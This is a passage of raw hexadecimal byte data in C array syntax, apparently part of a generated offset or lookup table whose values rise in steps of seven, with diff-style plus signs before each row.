0x00, 0x02, 0x9A, 0x96, 0x00, + 0x02, 0x9A, 0x9D, 0x00, 0x02, 0x9A, 0xA4, 0x00, + 0x02, 0x9A, 0xAB, 0x00, 0x02, 0x9A, 0xB2, 0x00, + 0x02, 0x9A, 0xB9, 0x00, 0x02, 0x9A, 0xC0, 0x00, + 0x02, 0x9A, 0xC7, 0x00, 0x02, 0x9A, 0xCE, 0x00, + 0x02, 0x9A, 0xD5, 0x00, 0x02, 0x9A, 0xDC, 0x00, + 0x02, 0x9A, 0xE3, 0x00, 0x02, 0x9A, 0xEA, 0x00, + 0x02, 0x9A, 0xF1, 0x00, 0x02, 0x9A, 0xF8, 0x00, + 0x02, 0x9A, 0xFF, 0x00, 0x02, 0x9B, 0x06, 0x00, + 0x02, 0x9B, 0x0D, 0x00, 0x02, 0x9B, 0x14, 0x00, + 0x02, 0x9B, 0x1B, 0x00, 0x02, 0x9B, 0x22, 0x00, + 0x02, 0x9B, 0x29, 0x00, 0x02, 0x9B, 0x30, 0x00, + 0x02, 0x9B, 0x37, 0x00, 0x02, 0x9B, 0x3E, 0x00, + 0x02, 0x9B, 0x45, 0x00, 0x02, 0x9B, 0x4C, 0x00, + 0x02, 0x9B, 0x53, 0x00, 0x02, 0x9B, 0x5A, 0x00, + 0x02, 0x9B, 0x61, 0x00, 0x02, 0x9B, 0x68, 0x00, + 0x02, 0x9B, 0x6F, 0x00, 0x02, 0x9B, 0x76, 0x00, + 0x02, 0x9B, 0x7D, 0x00, 0x02, 0x9B, 0x84, 0x00, + 0x02, 0x9B, 0x8B, 0x00, 0x02, 0x9B, 0x92, 0x00, + 0x02, 0x9B, 0x99, 0x00, 0x02, 0x9B, 0xA0, 0x00, + 0x02, 0x9B, 0xA7, 0x00, 0x02, 0x9B, 0xAE, 0x00, + 0x02, 0x9B, 0xB5, 0x00, 0x02, 0x9B, 0xBC, 0x00, + 0x02, 0x9B, 0xC3, 0x00, 0x02, 0x9B, 0xCA, 0x00, + 0x02, 0x9B, 0xD1, 0x00, 0x02, 0x9B, 0xD8, 0x00, + 0x02, 0x9B, 0xDF, 0x00, 0x02, 0x9B, 0xE6, 0x00, + 0x02, 0x9B, 0xED, 0x00, 0x02, 0x9B, 0xF4, 0x00, + 0x02, 0x9B, 0xFB, 0x00, 0x02, 0x9C, 0x02, 0x00, + 0x02, 0x9C, 0x09, 0x00, 0x02, 0x9C, 0x10, 0x00, + 0x02, 0x9C, 0x17, 0x00, 0x02, 0x9C, 0x1E, 0x00, + 0x02, 0x9C, 0x25, 0x00, 0x02, 0x9C, 0x2C, 0x00, + 0x02, 0x9C, 0x33, 0x00, 0x02, 0x9C, 0x3A, 0x00, + 0x02, 0x9C, 0x41, 0x00, 0x02, 0x9C, 0x48, 0x00, + 0x02, 0x9C, 0x4F, 0x00, 0x02, 0x9C, 0x56, 0x00, + 0x02, 0x9C, 0x5D, 0x00, 0x02, 0x9C, 0x64, 0x00, + 0x02, 0x9C, 0x6B, 0x00, 0x02, 0x9C, 0x72, 0x00, + 0x02, 0x9C, 0x79, 0x00, 0x02, 0x9C, 0x80, 0x00, + 0x02, 0x9C, 0x87, 0x00, 0x02, 0x9C, 0x8E, 0x00, + 0x02, 0x9C, 0x95, 0x00, 0x02, 0x9C, 0x9C, 0x00, + 0x02, 0x9C, 0xA3, 0x00, 0x02, 0x9C, 0xAA, 0x00, + 0x02, 0x9C, 0xB1, 0x00, 0x02, 0x9C, 0xB8, 0x00, + 0x02, 0x9C, 0xBF, 0x00, 0x02, 0x9C, 0xC6, 0x00, + 0x02, 0x9C, 0xCD, 0x00, 0x02, 0x9C, 0xD4, 0x00, + 0x02, 0x9C, 0xDB, 0x00, 0x02, 0x9C, 0xE2, 0x00, + 0x02, 0x9C, 0xE9, 0x00, 0x02, 0x9C, 0xF0, 0x00, + 0x02, 0x9C, 0xF7, 0x00, 0x02, 0x9C, 0xFE, 0x00, + 0x02, 0x9D, 0x05, 0x00, 0x02, 0x9D, 0x0C, 0x00, + 0x02, 0x9D, 0x13, 0x00, 0x02, 0x9D, 0x1A, 0x00, + 0x02, 0x9D, 0x21, 0x00, 0x02, 0x9D, 0x28, 0x00, + 0x02, 0x9D, 0x2F, 0x00, 0x02, 0x9D, 0x36, 0x00, + 0x02, 0x9D, 0x3D, 0x00, 0x02, 0x9D, 0x44, 0x00, + 0x02, 0x9D, 0x4B, 0x00, 0x02, 0x9D, 0x52, 0x00, + 0x02, 0x9D, 0x59, 0x00, 0x02, 0x9D, 0x60, 0x00, + 0x02, 0x9D, 0x67, 0x00, 0x02, 0x9D, 0x6E, 0x00, + 0x02, 0x9D, 0x75, 0x00, 0x02, 0x9D, 0x7C, 0x00, + 0x02, 0x9D, 0x83, 0x00, 0x02, 0x9D, 0x8A, 0x00, + 0x02, 0x9D, 0x91, 0x00, 0x02, 0x9D, 0x98, 0x00, + 0x02, 0x9D, 0x9F, 0x00, 0x02, 0x9D, 0xA6, 0x00, + 0x02, 0x9D, 0xAD, 0x00, 0x02, 0x9D, 0xB4, 0x00, + 0x02, 0x9D, 0xBB, 0x00, 0x02, 0x9D, 0xC2, 0x00, + 0x02, 0x9D, 0xC9, 0x00, 0x02, 0x9D, 0xD0, 0x00, + 0x02, 0x9D, 0xD7, 0x00, 0x02, 0x9D, 0xDE, 0x00, + 0x02, 0x9D, 0xE5, 0x00, 0x02, 0x9D, 0xEC, 0x00, + 0x02, 0x9D, 0xF3, 0x00, 0x02, 0x9D, 0xFA, 0x00, + 0x02, 0x9E, 0x01, 0x00, 0x02, 0x9E, 0x08, 0x00, + 0x02, 0x9E, 0x0F, 0x00, 0x02, 0x9E, 0x16, 0x00, + 0x02, 0x9E, 0x1D, 0x00, 0x02, 0x9E, 0x24, 0x00, + 0x02, 0x9E, 0x2B, 0x00, 0x02, 0x9E, 0x32, 0x00, + 0x02, 0x9E, 0x39, 0x00, 0x02, 0x9E, 0x40, 0x00, + 0x02, 0x9E, 0x47, 0x00, 0x02, 0x9E, 0x4E, 0x00, + 0x02, 0x9E, 0x55, 0x00, 0x02, 0x9E, 0x5C, 0x00, + 0x02, 0x9E, 0x63, 0x00, 0x02, 0x9E, 0x6A, 0x00, + 0x02, 0x9E, 0x71, 0x00, 0x02, 0x9E, 0x78, 0x00, + 0x02, 0x9E, 0x7F, 0x00, 0x02, 0x9E, 0x86, 0x00, + 0x02, 0x9E, 0x8D, 0x00, 0x02, 0x9E, 0x94, 0x00, + 0x02, 0x9E, 0x9B, 0x00, 0x02, 0x9E, 0xA2, 0x00, + 0x02, 0x9E, 0xA9, 0x00, 0x02, 0x9E, 0xB0, 0x00, + 0x02, 0x9E, 0xB7, 0x00, 0x02, 0x9E, 0xBE, 0x00, + 0x02, 0x9E, 0xC5, 0x00, 0x02, 0x9E, 0xCC, 0x00, + 0x02, 0x9E, 0xD3, 0x00, 0x02, 0x9E, 0xDA, 0x00, + 0x02, 0x9E, 0xE1, 0x00, 0x02, 0x9E, 0xE8, 0x00, + 0x02, 0x9E, 0xEF, 0x00, 0x02, 0x9E, 0xF6, 0x00, + 0x02, 0x9E, 0xFD, 0x00, 0x02, 0x9F, 0x04, 0x00, + 0x02, 0x9F, 0x0B, 0x00, 0x02, 0x9F, 0x12, 0x00, + 0x02, 0x9F, 0x19, 0x00, 0x02, 0x9F, 0x20, 0x00, + 0x02, 0x9F, 0x27, 0x00, 0x02, 0x9F, 0x2E, 0x00, + 0x02, 0x9F, 0x35, 0x00, 0x02, 0x9F, 0x3C, 0x00, + 0x02, 0x9F, 0x43, 0x00, 0x02, 0x9F, 0x4A, 0x00, + 0x02, 0x9F, 0x51, 0x00, 0x02, 0x9F, 0x58, 0x00, + 0x02, 0x9F, 0x5F, 0x00, 0x02, 0x9F, 0x66, 0x00, + 0x02, 0x9F, 0x6D, 0x00, 0x02, 0x9F, 0x74, 0x00, + 0x02, 0x9F, 0x7B, 0x00, 0x02, 0x9F, 0x82, 0x00, + 0x02, 0x9F, 0x89, 0x00, 0x02, 0x9F, 0x90, 0x00, + 0x02, 0x9F, 0x97, 0x00, 0x02, 0x9F, 0x9E, 0x00, + 0x02, 0x9F, 0xA5, 0x00, 0x02, 0x9F, 0xAC, 0x00, + 0x02, 0x9F, 0xB3, 0x00, 0x02, 0x9F, 0xBA, 0x00, + 0x02, 0x9F, 0xC1, 0x00, 0x02, 0x9F, 0xC8, 0x00, + 0x02, 0x9F, 0xCF, 0x00, 0x02, 0x9F, 0xD6, 0x00, + 0x02, 0x9F, 0xDD, 0x00, 0x02, 0x9F, 0xE4, 0x00, + 0x02, 0x9F, 0xEB, 0x00, 0x02, 0x9F, 0xF2, 0x00, + 0x02, 0x9F, 0xF9, 0x00, 0x02, 0xA0, 0x00, 0x00, + 0x02, 0xA0, 0x07, 0x00, 0x02, 0xA0, 0x0E, 0x00, + 0x02, 0xA0, 0x15, 0x00, 0x02, 0xA0, 0x1C, 0x00, + 0x02, 0xA0, 0x23, 0x00, 0x02, 0xA0, 0x2A, 0x00, + 0x02, 0xA0, 0x31, 0x00, 0x02, 0xA0, 0x38, 0x00, + 0x02, 0xA0, 0x3F, 0x00, 0x02, 0xA0, 0x46, 0x00, + 0x02, 0xA0, 0x4D, 0x00, 0x02, 0xA0, 0x54, 0x00, + 0x02, 0xA0, 0x5B, 0x00, 0x02, 0xA0, 0x62, 0x00, + 0x02, 0xA0, 0x69, 0x00, 0x02, 0xA0, 0x70, 0x00, + 0x02, 0xA0, 0x77, 0x00, 0x02, 0xA0, 0x7E, 0x00, + 0x02, 0xA0, 0x85, 0x00, 0x02, 0xA0, 0x8C, 0x00, + 0x02, 0xA0, 0x93, 0x00, 0x02, 0xA0, 0x9A, 0x00, + 0x02, 0xA0, 0xA1, 0x00, 0x02, 0xA0, 0xA8, 0x00, + 0x02, 0xA0, 0xAF, 0x00, 0x02, 0xA0, 0xB6, 0x00, + 0x02, 0xA0, 0xBD, 0x00, 0x02, 0xA0, 0xC4, 0x00, + 0x02, 0xA0, 0xCB, 0x00, 0x02, 0xA0, 0xD2, 0x00, + 0x02, 0xA0, 0xD9, 0x00, 0x02, 0xA0, 0xE0, 0x00, + 0x02, 0xA0, 0xE7, 0x00, 0x02, 0xA0, 0xEE, 0x00, + 0x02, 0xA0, 0xF5, 0x00, 0x02, 0xA0, 0xFC, 0x00, + 0x02, 0xA1, 0x03, 0x00, 0x02, 0xA1, 0x0A, 0x00, + 0x02, 0xA1, 0x11, 0x00, 0x02, 0xA1, 0x18, 0x00, + 0x02, 0xA1, 0x1F, 0x00, 0x02, 0xA1, 0x26, 0x00, + 0x02, 0xA1, 0x2D, 0x00, 0x02, 0xA1, 0x34, 0x00, + 0x02, 0xA1, 0x3B, 0x00, 0x02, 0xA1, 0x42, 0x00, + 0x02, 0xA1, 0x49, 0x00, 0x02, 0xA1, 0x50, 0x00, + 0x02, 0xA1, 0x57, 0x00, 0x02, 0xA1, 0x5E, 0x00, + 0x02, 0xA1, 0x65, 0x00, 0x02, 0xA1, 0x6C, 0x00, + 0x02, 0xA1, 0x73, 0x00, 0x02, 0xA1, 0x7A, 0x00, + 0x02, 0xA1, 0x81, 0x00, 0x02, 0xA1, 0x88, 0x00, + 0x02, 0xA1, 0x8F, 0x00, 0x02, 0xA1, 0x96, 0x00, + 0x02, 0xA1, 0x9D, 0x00, 0x02, 0xA1, 0xA4, 0x00, + 0x02, 0xA1, 0xAB, 0x00, 0x02, 0xA1, 0xB2, 0x00, + 0x02, 0xA1, 0xB9, 0x00, 0x02, 0xA1, 0xC0, 0x00, + 0x02, 0xA1, 0xC7, 0x00, 0x02, 0xA1, 0xCE, 0x00, + 0x02, 0xA1, 0xD5, 0x00, 0x02, 0xA1, 0xDC, 0x00, + 0x02, 0xA1, 0xE3, 0x00, 0x02, 0xA1, 0xEA, 0x00, + 0x02, 0xA1, 0xF1, 0x00, 0x02, 0xA1, 0xF8, 0x00, + 0x02, 0xA1, 0xFF, 0x00, 0x02, 0xA2, 0x06, 0x00, + 0x02, 0xA2, 0x0D, 0x00, 0x02, 0xA2, 0x14, 0x00, + 0x02, 0xA2, 0x1B, 0x00, 0x02, 0xA2, 0x22, 0x00, + 0x02, 0xA2, 0x29, 0x00, 0x02, 0xA2, 0x30, 0x00, + 0x02, 0xA2, 0x37, 0x00, 0x02, 0xA2, 0x3E, 0x00, + 0x02, 0xA2, 0x45, 0x00, 0x02, 0xA2, 0x4C, 0x00, + 0x02, 0xA2, 0x53, 0x00, 0x02, 0xA2, 0x5A, 0x00, + 0x02, 0xA2, 0x61, 0x00, 0x02, 0xA2, 0x68, 0x00, + 0x02, 0xA2, 0x6F, 0x00, 0x02, 0xA2, 0x76, 0x00, + 0x02, 0xA2, 0x7D, 0x00, 0x02, 0xA2, 0x84, 0x00, + 0x02, 0xA2, 0x8B, 0x00, 0x02, 0xA2, 0x92, 0x00, + 0x02, 0xA2, 0x99, 0x00, 0x02, 0xA2, 0xA0, 0x00, + 0x02, 0xA2, 0xA7, 0x00, 0x02, 0xA2, 0xAE, 0x00, + 0x02, 0xA2, 0xB5, 0x00, 0x02, 0xA2, 0xBC, 0x00, + 0x02, 0xA2, 0xC3, 0x00, 0x02, 0xA2, 0xCA, 0x00, + 0x02, 0xA2, 0xD1, 0x00, 0x02, 0xA2, 0xD8, 0x00, + 0x02, 0xA2, 0xDF, 0x00, 0x02, 0xA2, 0xE6, 0x00, + 0x02, 0xA2, 0xED, 0x00, 0x02, 0xA2, 0xF4, 0x00, + 0x02, 0xA2, 0xFB, 0x00, 0x02, 0xA3, 0x02, 0x00, + 0x02, 0xA3, 0x09, 0x00, 0x02, 0xA3, 0x10, 0x00, + 0x02, 0xA3, 0x17, 0x00, 0x02, 0xA3, 0x1E, 0x00, + 0x02, 0xA3, 0x25, 0x00, 0x02, 0xA3, 0x2C, 0x00, + 0x02, 0xA3, 0x33, 0x00, 0x02, 0xA3, 0x3A, 0x00, + 0x02, 0xA3, 0x41, 0x00, 0x02, 0xA3, 0x48, 0x00, + 0x02, 0xA3, 0x4F, 0x00, 0x02, 0xA3, 0x56, 0x00, + 0x02, 0xA3, 0x5D, 0x00, 0x02, 0xA3, 0x64, 0x00, + 0x02, 0xA3, 0x6B, 0x00, 0x02, 0xA3, 0x72, 0x00, + 0x02, 0xA3, 0x79, 0x00, 0x02, 0xA3, 0x80, 0x00, + 0x02, 0xA3, 0x87, 0x00, 0x02, 0xA3, 0x8E, 0x00, + 0x02, 0xA3, 0x95, 0x00, 0x02, 0xA3, 0x9C, 0x00, + 0x02, 0xA3, 0xA3, 0x00, 0x02, 0xA3, 0xAA, 0x00, + 0x02, 0xA3, 0xB1, 0x00, 0x02, 0xA3, 0xB8, 0x00, + 0x02, 0xA3, 0xBF, 0x00, 0x02, 0xA3, 0xC6, 0x00, + 0x02, 0xA3, 0xCD, 0x00, 0x02, 0xA3, 0xD4, 0x00, + 0x02, 0xA3, 0xDB, 0x00, 0x02, 0xA3, 0xE2, 0x00, + 0x02, 0xA3, 0xE9, 0x00, 0x02, 0xA3, 0xF0, 0x00, + 0x02, 0xA3, 0xF7, 0x00, 0x02, 0xA3, 0xFE, 0x00, + 0x02, 0xA4, 0x05, 0x00, 0x02, 0xA4, 0x0C, 0x00, + 0x02, 0xA4, 0x13, 0x00, 0x02, 0xA4, 0x1A, 0x00, + 0x02, 0xA4, 0x21, 0x00, 0x02, 0xA4, 0x28, 0x00, + 0x02, 0xA4, 0x2F, 0x00, 0x02, 0xA4, 0x36, 0x00, + 0x02, 0xA4, 0x3D, 0x00, 0x02, 0xA4, 0x44, 0x00, + 0x02, 0xA4, 0x4B, 0x00, 0x02, 0xA4, 0x52, 0x00, + 0x02, 0xA4, 0x59, 0x00, 0x02, 0xA4, 0x60, 0x00, + 0x02, 0xA4, 0x67, 0x00, 0x02, 0xA4, 0x6E, 0x00, + 0x02, 0xA4, 0x75, 0x00, 0x02, 0xA4, 0x7C, 0x00, + 0x02, 0xA4, 0x83, 0x00, 0x02, 0xA4, 0x8A, 0x00, + 0x02, 0xA4, 0x91, 0x00, 0x02, 0xA4, 0x98, 0x00, + 0x02, 0xA4, 0x9F, 0x00, 0x02, 0xA4, 0xA6, 0x00, + 0x02, 0xA4, 0xAD, 0x00, 0x02, 0xA4, 0xB4, 0x00, + 0x02, 0xA4, 0xBB, 0x00, 0x02, 0xA4, 0xC2, 0x00, + 0x02, 0xA4, 0xC9, 0x00, 0x02, 0xA4, 0xD0, 0x00, + 0x02, 0xA4, 0xD7, 0x00, 0x02, 0xA4, 0xDE, 0x00, + 0x02, 0xA4, 0xE5, 0x00, 0x02, 0xA4, 0xEC, 0x00, + 0x02, 0xA4, 0xF3, 0x00, 0x02, 0xA4, 0xFA, 0x00, + 0x02, 0xA5, 0x01, 0x00, 0x02, 0xA5, 0x08, 0x00, + 0x02, 0xA5, 0x0F, 0x00, 0x02, 0xA5, 0x16, 0x00, + 0x02, 0xA5, 0x1D, 0x00, 0x02, 0xA5, 0x24, 0x00, + 0x02, 0xA5, 0x2B, 0x00, 0x02, 0xA5, 0x32, 0x00, + 0x02, 0xA5, 0x39, 0x00, 0x02, 0xA5, 0x40, 0x00, + 0x02, 0xA5, 0x47, 0x00, 0x02, 0xA5, 0x4E, 0x00, + 0x02, 0xA5, 0x55, 0x00, 0x02, 0xA5, 0x5C, 0x00, + 0x02, 0xA5, 0x63, 0x00, 0x02, 0xA5, 0x6A, 0x00, + 0x02, 0xA5, 0x71, 0x00, 0x02, 0xA5, 0x78, 0x00, + 0x02, 0xA5, 0x7F, 0x00, 0x02, 0xA5, 0x86, 0x00, + 0x02, 0xA5, 0x8D, 0x00, 0x02, 0xA5, 0x94, 0x00, + 0x02, 0xA5, 0x9B, 0x00, 0x02, 0xA5, 0xA2, 0x00, + 0x02, 0xA5, 0xA9, 0x00, 0x02, 0xA5, 0xB0, 0x00, + 0x02, 0xA5, 0xB7, 0x00, 0x02, 0xA5, 0xBE, 0x00, + 0x02, 0xA5, 0xC5, 0x00, 0x02, 0xA5, 0xCC, 0x00, + 0x02, 0xA5, 0xD3, 0x00, 0x02, 0xA5, 0xDA, 0x00, + 0x02, 0xA5, 0xE1, 0x00, 0x02, 0xA5, 0xE8, 0x00, + 0x02, 0xA5, 0xEF, 0x00, 0x02, 0xA5, 0xF6, 0x00, + 0x02, 0xA5, 0xFD, 0x00, 0x02, 0xA6, 0x04, 0x00, + 0x02, 0xA6, 0x0B, 0x00, 0x02, 0xA6, 0x12, 0x00, + 0x02, 0xA6, 0x19, 0x00, 0x02, 0xA6, 0x20, 0x00, + 0x02, 0xA6, 0x27, 0x00, 0x02, 0xA6, 0x2E, 0x00, + 0x02, 0xA6, 0x35, 0x00, 0x02, 0xA6, 0x3C, 0x00, + 0x02, 0xA6, 0x43, 0x00, 0x02, 0xA6, 0x4A, 0x00, + 0x02, 0xA6, 0x51, 0x00, 0x02, 0xA6, 0x58, 0x00, + 0x02, 0xA6, 0x5F, 0x00, 0x02, 0xA6, 0x66, 0x00, + 0x02, 0xA6, 0x6D, 0x00, 0x02, 0xA6, 0x74, 0x00, + 0x02, 0xA6, 0x7B, 0x00, 0x02, 0xA6, 0x82, 0x00, + 0x02, 0xA6, 0x89, 0x00, 0x02, 0xA6, 0x90, 0x00, + 0x02, 0xA6, 0x97, 0x00, 0x02, 0xA6, 0x9E, 0x00, + 0x02, 0xA6, 0xA5, 0x00, 0x02, 0xA6, 0xAC, 0x00, + 0x02, 0xA6, 0xB3, 0x00, 0x02, 0xA6, 0xBA, 0x00, + 0x02, 0xA6, 0xC1, 0x00, 0x02, 0xA6, 0xC8, 0x00, + 0x02, 0xA6, 0xCF, 0x00, 0x02, 0xA6, 0xD6, 0x00, + 0x02, 0xA6, 0xDD, 0x00, 0x02, 0xA6, 0xE4, 0x00, + 0x02, 0xA6, 0xEB, 0x00, 0x02, 0xA6, 0xF2, 0x00, + 0x02, 0xA6, 0xF9, 0x00, 0x02, 0xA7, 0x00, 0x00, + 0x02, 0xA7, 0x07, 0x00, 0x02, 0xA7, 0x0E, 0x00, + 0x02, 0xA7, 0x15, 0x00, 0x02, 0xA7, 0x1C, 0x00, + 0x02, 0xA7, 0x23, 0x00, 0x02, 0xA7, 0x2A, 0x00, + 0x02, 0xA7, 0x31, 0x00, 0x02, 0xA7, 0x38, 0x00, + 0x02, 0xA7, 0x3F, 0x00, 0x02, 0xA7, 0x46, 0x00, + 0x02, 0xA7, 0x4D, 0x00, 0x02, 0xA7, 0x54, 0x00, + 0x02, 0xA7, 0x5B, 0x00, 0x02, 0xA7, 0x62, 0x00, + 0x02, 0xA7, 0x69, 0x00, 0x02, 0xA7, 0x70, 0x00, + 0x02, 0xA7, 0x77, 0x00, 0x02, 0xA7, 0x7E, 0x00, + 0x02, 0xA7, 0x85, 0x00, 0x02, 0xA7, 0x8C, 0x00, + 0x02, 0xA7, 0x93, 0x00, 0x02, 0xA7, 0x9A, 0x00, + 0x02, 0xA7, 0xA1, 0x00, 0x02, 0xA7, 0xA8, 0x00, + 0x02, 0xA7, 0xAF, 0x00, 0x02, 0xA7, 0xB6, 0x00, + 0x02, 0xA7, 0xBD, 0x00, 0x02, 0xA7, 0xC4, 0x00, + 0x02, 0xA7, 0xCB, 0x00, 0x02, 0xA7, 0xD2, 0x00, + 0x02, 0xA7, 0xD9, 0x00, 0x02, 0xA7, 0xE0, 0x00, + 0x02, 0xA7, 0xE7, 0x00, 0x02, 0xA7, 0xEE, 0x00, + 0x02, 0xA7, 0xF5, 0x00, 0x02, 0xA7, 0xFC, 0x00, + 0x02, 0xA8, 0x03, 0x00, 0x02, 0xA8, 0x0A, 0x00, + 0x02, 0xA8, 0x11, 0x00, 0x02, 0xA8, 0x18, 0x00, + 0x02, 0xA8, 0x1F, 0x00, 0x02, 0xA8, 0x26, 0x00, + 0x02, 0xA8, 0x2D, 0x00, 0x02, 0xA8, 0x34, 0x00, + 0x02, 0xA8, 0x3B, 0x00, 0x02, 0xA8, 0x42, 0x00, + 0x02, 0xA8, 0x49, 0x00, 0x02, 0xA8, 0x50, 0x00, + 0x02, 0xA8, 0x57, 0x00, 0x02, 0xA8, 0x5E, 0x00, + 0x02, 0xA8, 0x65, 0x00, 0x02, 0xA8, 0x6C, 0x00, + 0x02, 0xA8, 0x73, 0x00, 0x02, 0xA8, 0x7A, 0x00, + 0x02, 0xA8, 0x81, 0x00, 0x02, 0xA8, 0x88, 0x00, + 0x02, 0xA8, 0x8F, 0x00, 0x02, 0xA8, 0x96, 0x00, + 0x02, 0xA8, 0x9D, 0x00, 0x02, 0xA8, 0xA4, 0x00, + 0x02, 0xA8, 0xAB, 0x00, 0x02, 0xA8, 0xB2, 0x00, + 0x02, 0xA8, 0xB9, 0x00, 0x02, 0xA8, 0xC0, 0x00, + 0x02, 0xA8, 0xC7, 0x00, 0x02, 0xA8, 0xCE, 0x00, + 0x02, 0xA8, 0xD5, 0x00, 0x02, 0xA8, 0xDC, 0x00, + 0x02, 0xA8, 0xE3, 0x00, 0x02, 0xA8, 0xEA, 0x00, + 0x02, 0xA8, 0xF1, 0x00, 0x02, 0xA8, 0xF8, 0x00, + 0x02, 0xA8, 0xFF, 0x00, 0x02, 0xA9, 0x06, 0x00, + 0x02, 0xA9, 0x0D, 0x00, 0x02, 0xA9, 0x14, 0x00, + 0x02, 0xA9, 0x1B, 0x00, 0x02, 0xA9, 0x22, 0x00, + 0x02, 0xA9, 0x29, 0x00, 0x02, 0xA9, 0x30, 0x00, + 0x02, 0xA9, 0x37, 0x00, 0x02, 0xA9, 0x3E, 0x00, + 0x02, 0xA9, 0x45, 0x00, 0x02, 0xA9, 0x4C, 0x00, + 0x02, 0xA9, 0x53, 0x00, 0x02, 0xA9, 0x5A, 0x00, + 0x02, 0xA9, 0x61, 0x00, 0x02, 0xA9, 0x68, 0x00, + 0x02, 0xA9, 0x6F, 0x00, 0x02, 0xA9, 0x76, 0x00, + 0x02, 0xA9, 0x7D, 0x00, 0x02, 0xA9, 0x84, 0x00, + 0x02, 0xA9, 0x8B, 0x00, 0x02, 0xA9, 0x92, 0x00, + 0x02, 0xA9, 0x99, 0x00, 0x02, 0xA9, 0xA0, 0x00, + 0x02, 0xA9, 0xA7, 0x00, 0x02, 0xA9, 0xAE, 0x00, + 0x02, 0xA9, 0xB5, 0x00, 0x02, 0xA9, 0xBC, 0x00, + 0x02, 0xA9, 0xC3, 0x00, 0x02, 0xA9, 0xCA, 0x00, + 0x02, 0xA9, 0xD1, 0x00, 0x02, 0xA9, 0xD8, 0x00, + 0x02, 0xA9, 0xDF, 0x00, 0x02, 0xA9, 0xE6, 0x00, + 0x02, 0xA9, 0xED, 0x00, 0x02, 0xA9, 0xF4, 0x00, + 0x02, 0xA9, 0xFB, 0x00, 0x02, 0xAA, 0x02, 0x00, + 0x02, 0xAA, 0x09, 0x00, 0x02, 0xAA, 0x10, 0x00, + 0x02, 0xAA, 0x17, 0x00, 0x02, 0xAA, 0x1E, 0x00, + 0x02, 0xAA, 0x25, 0x00, 0x02, 0xAA, 0x2C, 0x00, + 0x02, 0xAA, 0x33, 0x00, 0x02, 0xAA, 0x3A, 0x00, + 0x02, 0xAA, 0x41, 0x00, 0x02, 0xAA, 0x48, 0x00, + 0x02, 0xAA, 0x4F, 0x00, 0x02, 0xAA, 0x56, 0x00, + 0x02, 0xAA, 0x5D, 0x00, 0x02, 0xAA, 0x64, 0x00, + 0x02, 0xAA, 0x6B, 0x00, 0x02, 0xAA, 0x72, 0x00, + 0x02, 0xAA, 0x79, 0x00, 0x02, 0xAA, 0x80, 0x00, + 0x02, 0xAA, 0x87, 0x00, 0x02, 0xAA, 0x8E, 0x00, + 0x02, 0xAA, 0x95, 0x00, 0x02, 0xAA, 0x9C, 0x00, + 0x02, 0xAA, 0xA3, 0x00, 0x02, 0xAA, 0xAA, 0x00, + 0x02, 0xAA, 0xB1, 0x00, 0x02, 0xAA, 0xB8, 0x00, + 0x02, 0xAA, 0xBF, 0x00, 0x02, 0xAA, 0xC6, 0x00, + 0x02, 0xAA, 0xCD, 0x00, 0x02, 0xAA, 0xD4, 0x00, + 0x02, 0xAA, 0xDB, 0x00, 0x02, 0xAA, 0xE2, 0x00, + 0x02, 0xAA, 0xE9, 0x00, 0x02, 0xAA, 0xF0, 0x00, + 0x02, 0xAA, 0xF7, 0x00, 0x02, 0xAA, 0xFE, 0x00, + 0x02, 0xAB, 0x05, 0x00, 0x02, 0xAB, 0x0C, 0x00, + 0x02, 0xAB, 0x13, 0x00, 0x02, 0xAB, 0x1A, 0x00, + 0x02, 0xAB, 0x21, 0x00, 0x02, 0xAB, 0x28, 0x00, + 0x02, 0xAB, 0x2F, 0x00, 0x02, 0xAB, 0x36, 0x00, + 0x02, 0xAB, 0x3D, 0x00, 0x02, 0xAB, 0x44, 0x00, + 0x02, 0xAB, 0x4B, 0x00, 0x02, 0xAB, 0x52, 0x00, + 0x02, 0xAB, 0x59, 0x00, 0x02, 0xAB, 0x60, 0x00, + 0x02, 0xAB, 0x67, 0x00, 0x02, 0xAB, 0x6E, 0x00, + 0x02, 0xAB, 0x75, 0x00, 0x02, 0xAB, 0x7C, 0x00, + 0x02, 0xAB, 0x83, 0x00, 0x02, 0xAB, 0x8A, 0x00, + 0x02, 0xAB, 0x91, 0x00, 0x02, 0xAB, 0x98, 0x00, + 0x02, 0xAB, 0x9F, 0x00, 0x02, 0xAB, 0xA6, 0x00, + 0x02, 0xAB, 0xAD, 0x00, 0x02, 0xAB, 0xB4, 0x00, + 0x02, 0xAB, 0xBB, 0x00, 0x02, 0xAB, 0xC2, 0x00, + 0x02, 0xAB, 0xC9, 0x00, 0x02, 0xAB, 0xD0, 0x00, + 0x02, 0xAB, 0xD7, 0x00, 0x02, 0xAB, 0xDE, 0x00, + 0x02, 0xAB, 0xE5, 0x00, 0x02, 0xAB, 0xEC, 0x00, + 0x02, 0xAB, 0xF3, 0x00, 0x02, 0xAB, 0xFA, 0x00, + 0x02, 0xAC, 0x01, 0x00, 0x02, 0xAC, 0x08, 0x00, + 0x02, 0xAC, 0x0F, 0x00, 0x02, 0xAC, 0x16, 0x00, + 0x02, 0xAC, 0x1D, 0x00, 0x02, 0xAC, 0x24, 0x00, + 0x02, 0xAC, 0x2B, 0x00, 0x02, 0xAC, 0x32, 0x00, + 0x02, 0xAC, 0x39, 0x00, 0x02, 0xAC, 0x40, 0x00, + 0x02, 0xAC, 0x47, 0x00, 0x02, 0xAC, 0x4E, 0x00, + 0x02, 0xAC, 0x55, 0x00, 0x02, 0xAC, 0x5C, 0x00, + 0x02, 0xAC, 0x63, 0x00, 0x02, 0xAC, 0x6A, 0x00, + 0x02, 0xAC, 0x71, 0x00, 0x02, 0xAC, 0x78, 0x00, + 0x02, 0xAC, 0x7F, 0x00, 0x02, 0xAC, 0x86, 0x00, + 0x02, 0xAC, 0x8D, 0x00, 0x02, 0xAC, 0x94, 0x00, + 0x02, 0xAC, 0x9B, 0x00, 0x02, 0xAC, 0xA2, 0x00, + 0x02, 0xAC, 0xA9, 0x00, 0x02, 0xAC, 0xB0, 0x00, + 0x02, 0xAC, 0xB7, 0x00, 0x02, 0xAC, 0xBE, 0x00, + 0x02, 0xAC, 0xC5, 0x00, 0x02, 0xAC, 0xCC, 0x00, + 0x02, 0xAC, 0xD3, 0x00, 0x02, 0xAC, 0xDA, 0x00, + 0x02, 0xAC, 0xE1, 0x00, 0x02, 0xAC, 0xE8, 0x00, + 0x02, 0xAC, 0xEF, 0x00, 0x02, 0xAC, 0xF6, 0x00, + 0x02, 0xAC, 0xFD, 0x00, 0x02, 0xAD, 0x04, 0x00, + 0x02, 0xAD, 0x0B, 0x00, 0x02, 0xAD, 0x12, 0x00, + 0x02, 0xAD, 0x19, 0x00, 